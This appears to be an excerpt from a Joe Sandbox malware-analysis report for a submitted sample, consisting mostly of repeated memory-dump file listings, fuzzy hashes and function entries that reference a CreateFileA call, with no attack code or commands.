Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: 4ce8e7ff713d850c9240ca42ad3c1e8de3057bf2a7c383c6f3393e3e4b89501d
Instruction ID: cdc2285821e8dde84f678e6b4da992ce10359a2c9b0f4455eee5260eece0452a
Opcode Fuzzy Hash: 4ce8e7ff713d850c9240ca42ad3c1e8de3057bf2a7c383c6f3393e3e4b89501d
Instruction Fuzzy Hash: 972138B62082056EF3058E405E10AFB7BA8EBC6734F34547BFD42E7642D2A11C855770

Function 00E1E7D8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: 66429320ef34c773854120b36b5940f34e1331a27fa25e5a56bc2b4c4fc503d5
Instruction ID: c4459e87d68bf94c2f469426219756c44c90bcf7f4ed7d06b6c26eb1d0f20418
Opcode Fuzzy Hash: 66429320ef34c773854120b36b5940f34e1331a27fa25e5a56bc2b4c4fc503d5
Instruction Fuzzy Hash: 3F2107B66082456EE3058E409E10AFF7BA8EBC6735F35543AFC02E6682D2A00D899770

Function 00E1E7CD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: f06a399d967aa41a205a7b7061ec394e8a105c43867a628f65fe81acbc39247f
Instruction ID: 773e153e98881015009c2a1788f9a4dc5b9a57943811cf4a9079b7f555d9f3b8
Opcode Fuzzy Hash: f06a399d967aa41a205a7b7061ec394e8a105c43867a628f65fe81acbc39247f
Instruction Fuzzy Hash: F921F6B76081096EF3048E81AE10AFF77A8EBC6734F34543AFD02E6782D6A00D855671

Function 00E1E7F9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: a618290e18e0bfe1e50959c4a2720716a4c28bd64f51c3bba448629eb14fc9d2
Instruction ID: 0d34b37ba994fc89e967fdbd654d657b53f5fb55e75a56cad59cf11af6fc0ea1
Opcode Fuzzy Hash: a618290e18e0bfe1e50959c4a2720716a4c28bd64f51c3bba448629eb14fc9d2
Instruction Fuzzy Hash: EE1129B76081096EE704CE80AE10AFF77ACEBC6774F34543AFD02E6B41D2A01D8556B0

Function 00E1E846 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: c4168fab89c359ad7862ae57ab3f7158804c0e152a988b5bc32f723208276720
Instruction ID: 64115509c4b3a7f2230d484fdb3d27d6b1762ee1818a0431c7d533b6cfeada68
Opcode Fuzzy Hash: c4168fab89c359ad7862ae57ab3f7158804c0e152a988b5bc32f723208276720
Instruction Fuzzy Hash: E701F5B660420AAEE7048F50D850AFFB7A8FF86734F25013AFD01E7A41D6B11C858BA0

Function 00E1E858 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
